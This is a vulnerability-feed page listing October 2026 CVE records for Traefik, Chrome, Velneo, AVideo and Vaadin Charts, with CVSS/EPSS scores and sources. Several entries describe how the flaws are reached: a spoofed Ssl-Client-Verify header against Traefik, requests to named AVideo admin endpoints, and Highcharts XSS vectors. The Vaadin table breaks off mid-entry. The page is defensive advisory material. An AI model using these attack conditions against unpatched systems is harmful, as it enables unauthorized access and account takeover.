### Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS...
https://kevwire.com/record/CVE-2026-114636
Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS... (Oct 22, 2026).
Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS entry points never applies the Ingress's access-control annotations. Unauthenticated attackers reaching the HTTP entry point with the Ingress host can access backends protected by auth-type, auth-url, or whitelist-source-range annotations, with nothing logged.
CVSS 7.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114636).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114636&date=2026-10-25).
Sources:
NVD CVE-2026-114636: https://nvd.nist.gov/vuln/detail/CVE-2026-114636
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114636&date=2026-10-25
Traefik v3.7.13 before v3.7.14 contains an access-control bypass in the Kubernetes Ingress NGINX provider, where the HTTP router generated for ssl-passthrough Ingresses on non-TLS entry points never applies the Ingress's access-control annotations. Unauthenticated attackers reaching the HTTP entry point with the Ingress host can access backends protected by auth-type, auth-url, or whitelist-source-range annotations, with nothing logged.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated...
https://kevwire.com/record/CVE-2026-114637
Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated... (Oct 22, 2026).
Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend connection where a victim completed an NTLM or Negotiate handshake, letting them read victim data and act as that victim.
CVSS 7.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114637).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114637&date=2026-10-25).
Sources:
NVD CVE-2026-114637: https://nvd.nist.gov/vuln/detail/CVE-2026-114637
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114637&date=2026-10-25
Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend connection where a victim completed an NTLM or Negotiate handshake, letting them read victim data and act as that victim.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token...
https://kevwire.com/record/CVE-2026-114639
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token... (Oct 22, 2026).
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token authenticates a socket in the globally shared backend connection pool, which is never isolated. Unauthenticated attackers on separate frontend connections can be assigned that NTLM/Kerberos-bound socket and perform reads or writes with the victim's identity.
CVSS 7.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114639).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114639&date=2026-10-25).
Sources:
NVD CVE-2026-114639: https://nvd.nist.gov/vuln/detail/CVE-2026-114639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114639&date=2026-10-25
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token authenticates a socket in the globally shared backend connection pool, which is never isolated. Unauthenticated attackers on separate frontend connections can be assigned that NTLM/Kerberos-bound socket and perform reads or writes with the victim's identity.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client-* headers on...
https://kevwire.com/record/CVE-2026-114640
Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client-* headers on... (Oct 22, 2026).
Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client-* headers on the plaintext HTTP router. When ssl-redirect is disabled alongside auth-tls-pass-certificate-to-upstream, unauthenticated attackers can send Ssl-Client-Verify: SUCCESS with a chosen certificate subject and issuer to impersonate mTLS identities.
CVSS 7.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114640).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114640&date=2026-10-25).
Sources:
NVD CVE-2026-114640: https://nvd.nist.gov/vuln/detail/CVE-2026-114640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114640&date=2026-10-25
Traefik from v3.7.0 before v3.7.14 contains an authentication bypass vulnerability in its Kubernetes Ingress-NGINX provider that forwards client-supplied Ssl-Client-* headers on the plaintext HTTP router. When ssl-redirect is disabled alongside auth-tls-pass-certificate-to-upstream, unauthenticated attackers can send Ssl-Client-Verify: SUCCESS with a chosen certificate subject and issuer to impersonate mTLS identities.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host...
https://kevwire.com/record/CVE-2026-114656
Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host... (Oct 22, 2026).
Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host matchers are counted as served domains. Attackers can reach backends protected by RequireAndVerifyClientCert when a router rule with !Host() creates a TLS options conflict that falls back to the default options.
CVSS 6.9 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114656).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114656&date=2026-10-25).
Sources:
NVD CVE-2026-114656: https://nvd.nist.gov/vuln/detail/CVE-2026-114656
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114656&date=2026-10-25
Traefik before 2.11.58 and 3.7.13 contains an authentication bypass vulnerability that allows unauthenticated clients to skip client-certificate checks because negated Host matchers are counted as served domains. Attackers can reach backends protected by RequireAndVerifyClientCert when a router rule with !Host() creates a TLS options conflict that falls back to the default options.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113030
Improper access control in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Oct 20, 2026).
Improper access control in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113030).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113030&date=2026-10-25).
Sources:
NVD CVE-2026-113030: https://nvd.nist.gov/vuln/detail/CVE-2026-113030
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113030&date=2026-10-25
Improper access control in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper validation of array index vulnerability in Velneo vServer.
https://kevwire.com/record/CVE-2026-114405
Improper validation of array index vulnerability in Velneo vServer. (Oct 21, 2026).
Improper validation of array index vulnerability in Velneo vServer. This issue affects vServer: from 36.0 before 36.6 and from 37.0 before 37.2.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114405).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114405&date=2026-10-25).
Sources:
NVD CVE-2026-114405: https://nvd.nist.gov/vuln/detail/CVE-2026-114405
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114405&date=2026-10-25
Improper validation of array index vulnerability in Velneo vServer. This issue affects vServer: from 36.0 before 36.6 and from 37.0 before 37.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WWBN AVideo before 29.4.0 contains an incorrect authorization vulnerability that allows delegated Users Admin accounts to delete or modify administrator accounts.
https://kevwire.com/record/CVE-2026-114633
WWBN AVideo before 29.4.0 contains an incorrect authorization vulnerability that allows delegated Users Admin accounts to delete or modify administrator accounts. (Oct 22, 2026).
WWBN AVideo before 29.4.0 contains an incorrect authorization vulnerability that allows delegated Users Admin accounts to delete or modify administrator accounts. Attackers can submit requests to confirmDeleteUser.json.php or userAddNew.json.php targeting administrators to delete their videos and accounts, or change and demote them.
CVSS 7.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114633).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114633&date=2026-10-25).
Sources:
NVD CVE-2026-114633: https://nvd.nist.gov/vuln/detail/CVE-2026-114633
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114633&date=2026-10-25
WWBN AVideo before 29.4.0 contains an incorrect authorization vulnerability that allows delegated Users Admin accounts to delete or modify administrator accounts. Attackers can submit requests to confirmDeleteUser.json.php or userAddNew.json.php targeting administrators to delete their videos and accounts, or change and demote them.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Proxy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113040
Improper input validation in Proxy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Proxy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113040).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113040&date=2026-10-25).
Sources:
NVD CVE-2026-113040: https://nvd.nist.gov/vuln/detail/CVE-2026-113040
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113040&date=2026-10-25
Improper input validation in Proxy in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113041
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113041).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113041&date=2026-10-25).
Sources:
NVD CVE-2026-113041: https://nvd.nist.gov/vuln/detail/CVE-2026-113041
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113041&date=2026-10-25
Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113042
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113042).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113042&date=2026-10-25).
Sources:
NVD CVE-2026-113042: https://nvd.nist.gov/vuln/detail/CVE-2026-113042
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113042&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113044
Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113044).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113044&date=2026-10-25).
Sources:
NVD CVE-2026-113044: https://nvd.nist.gov/vuln/detail/CVE-2026-113044
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113044&date=2026-10-25
Use after free in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113046
Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113046).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113046&date=2026-10-25).
Sources:
NVD CVE-2026-113046: https://nvd.nist.gov/vuln/detail/CVE-2026-113046
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113046&date=2026-10-25
Improper input validation in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113048
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113048).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113048&date=2026-10-25).
Sources:
NVD CVE-2026-113048: https://nvd.nist.gov/vuln/detail/CVE-2026-113048
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113048&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113049
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113049).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113049&date=2026-10-25).
Sources:
NVD CVE-2026-113049: https://nvd.nist.gov/vuln/detail/CVE-2026-113049
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113049&date=2026-10-25
Memory corruption in Core in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113052
Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113052).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113052&date=2026-10-25).
Sources:
NVD CVE-2026-113052: https://nvd.nist.gov/vuln/detail/CVE-2026-113052
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113052&date=2026-10-25
Memory corruption in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these...
https://kevwire.com/record/CVE-2026-107588
Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these... (Oct 21, 2026).
Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these vulnerabilities by upgrading Highcharts on its own. Highsoft disclosed several vulnerabilities in that library that are reachable through the chart configuration: writes to Object.prototype through dotted series.keys paths, and cross-site scripting through credits.href, through breadcrumbs.style, through HTML text parsing while printing, and through xlink:href attributes in exported charts. An application is affected where data an attacker controls reaches the chart configuration, for example through additionalOptions, through updateConfiguration(), or through text options that accept markup. The fixed Vaadin versions apply Highsoft's recommended workarounds to the bundled Highcharts when it loads, and keep the same Highcharts version.


Users of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:

Product version
Vaadin 22.0.0 - 23.6.15
Vaadin 24.0.0 - 24.4.23
Vaadin 24.5.0 - 24.7.15
Vaadin 24.8.0 - 24.9.22
Vaadin 24.10.0 - 24.10.10
Vaadin 25.0.0 - 25.2.9
Vaadin 25.3.0

Mitigation
Upgrade to 23.6.16
Upgrade to 24.4.24
Upgrade to 24.7.16
Upgrade to 24.9.23
Upgrade to 24.10.11
Upgrade to 25.2.10
Upgrade to 25.3.1 or newer

Please note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 23, 24, 25 version.

Artifacts
Maven coordinates / Vulnerable versions / Fixed version
com.vaadin:vaadin / 22.0.0 - 23.6.15 / >=23.6.16
com.vaadin:vaadin / 24.0.0 - 24.4.23 / >=24.4.24
com.vaadin:vaadin / 24.5.0 - 24.7.15 / >=24.7.16
com.vaadin:vaadin / 24.8.0 - 24.9.22 / >=24.9.23
com.vaadin:vaadin / 24.10.0 - 24.10.10 / >=24.10.11
com.vaadin:vaadin / 25.0.0 - 25.0.13 / >=25.2.10
com.vaadin:vaadin / 25.1.0 - 25.1.13 / >=25.2.10
com.vaadin:vaadin / 25.2.0 - 25.2.9 / >=25.2.10
com.vaadin:vaadin / 25.3.0 / >=25.3.1
com.vaadin:vaadin-charts-flow / 22.0.0 - 23.6.15 / >=23.6.16
com.vaadin:vaadin-charts-flow / 24.0.0 - 24.4.22 / >=24.4.24
com.vaadin:vaadin-charts-flow / 24.5.0 - 24.7.14 / >=24.7.15
com
CVSS 8.4 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107588).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107588&date=2026-10-25).
Sources:
NVD CVE-2026-107588: https://nvd.nist.gov/vuln/detail/CVE-2026-107588
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107588&date=2026-10-25
